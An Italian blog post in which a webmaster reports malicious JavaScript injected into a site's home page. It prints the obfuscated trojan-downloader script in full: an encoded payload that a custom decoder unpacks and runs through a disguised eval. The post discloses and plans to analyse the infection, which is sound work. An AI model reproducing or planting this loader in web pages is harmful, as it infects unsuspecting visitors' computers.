Codice malevolo su un sito Web: hosting di Aruba crackato?

Creato il 18 gennaio 2011 da Nightfly

Recentemente, su uno dei siti che ho realizzato e che gestisco ho trovato il seguente codice javascript presente all'interno della home page (ho provato a sistemarlo in modo da renderlo più leggibile):

<script language="javascript">

var kasbd3412 = "";

$$ = function () {

try {

kasbd3412= $$dfsd(gnflseejrr());

kasbd3412.do();

}

catch(e) {

var bn = "";

return kasbd3412;

}

};

var adlan3r$oubw = "e";

$$dfsd =  this['a'+'s'+'d'];

var adlan3r$ouaw = "a";

function asd(df_){

this['r']="";

var s = df_;

for(__fh=0;this['__fh']<s['l'+adlan3r$oubw+'ng'+'t'+'h'];__fh++ ) {

i=__fh;

if(s['ch'+adlan3r$ouaw +'rA'+'t'](i)=='Z') {

this[neAR_DEF_FGEvftDSyTtnSoh_1]='%'}

else {

this[neAR_DEF_FGEvftDSyTtnSoh_1]=s['ch'+'ar'+'At'](this['i'])

}

this['r']=r+VAR_EZJrWcTGuhPYZJj(this,neAR_DEF_FGEvftDSyTtnSoh_1)

}

return this['unesc'+adlan3r$ouaw + 'p'+adlan3r$oubw](r)

}

var ez=window
VAR_AiCzwbiiMdphDXs=(function(VAR_JMFILTCeLQNWkAf,VAR_gqWQtFFAsjjtVqK){return VAR_JMFILTCeLQNWkAf[VAR_gqWQtFFAsjjtVqK];});


VAR_EZJrWcTGuhPYZJj=(function(VAR_wiSIHKenjOMRPsE,VAR_SfXtSSNCWJXwgQF){return VAR_AiCzwbiiMdphDXs(VAR_wiSIHKenjOMRPsE,VAR_SfXtSSNCWJXwgQF);});

function gnflseejrr() {

return $a

}

var neAR_DEF_FGEvftDSyTtnSoh_1='s'+'1';

BKbk34b32='Z63aZ3dZ22Z2566unZ2563tioZ256e Z2564csZ2528dsZ252cesZ2529Z257bdZ2573Z253dunesZ2563apeZ25Z22;ddZ3dZ2208y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9;!Z2520Z2520+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;sZ7bxpyz;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;cdZ3dZ22Z2574Z253dst+Z2553Z2574rinZ2567.frZ256fmCZ2568aZ2572CZ256fdZ2565(Z2528tmpZ252eZ22;deZ3dZ22!Z25209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+0}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;dcZ3dZ22rs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87trc7Z3c07id~7Z3c07f}d7Z3c07f}b7Z3c07}|s7Z3c07Z257FhZ7b7Z3c07vtc7Z3c07rfv7Z3c07iec7Z3c07}s`7Z3c07~sj7Z3c07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;Z22;stZ3dZ22Z2573Z2574Z253dZ2522$aZ253dsZ2574;Z2564cZ2573(Z2564Z2561Z252bdZ2562+Z2564cZ252bdZ2564Z252bZ2564eZ252c1Z2530Z2529Z253bZ2564wZ2528Z2573tZ2529Z253bsZ2574Z253d$Z2561Z253bZ2522;Z22;czZ3dZ22Z2566uZ256eZ2563tZ2569on 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var $a = BKbk34b32.replace(/98/g, "Z");

ez[String.fromCharCode(101,118,97)+'l']($$())

</script>

Trattasi sicuramente di un trojan che mediante del codice lato client prova ad infettare il PC dell'ignaro visitatore. In particolare, l'antivirus segnala il seguente codice malicious: JS/trojandownloader.twetti.nac

Nei prossimi giorni procederò con l'analisi e la decodifica del codice, stay tuned.


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